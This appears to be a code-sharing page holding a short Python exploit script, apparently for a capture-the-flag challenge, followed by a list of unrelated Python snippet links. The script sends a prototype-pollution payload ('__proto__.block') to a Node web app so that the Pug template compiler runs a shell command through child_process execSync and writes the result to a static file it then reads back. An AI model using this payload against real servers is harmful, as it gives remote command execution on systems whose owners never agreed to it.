Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote317 views2 answers
Install python macos catalina
Python
0 vote345 views1 answer
Pandas get size of each group
Python
1 vote328 views1 answer
Django clear db
Python
15 votes302 views3 answers
Python get username windows
Python
4 votes343 views3 answers
Read csv without header pandas
Python
0 vote325 views1 answer
Hide window in selenium Webdriver python
Python
12 votes305 views3 answers
Python for in for in
Python
0 vote322 views1 answer
Get video width and height cv2
Python
5 votes312 views2 answers
Turn df to dict
Python
0 vote303 views1 answer
Randomly splits this DataFrame with the provided weights
Python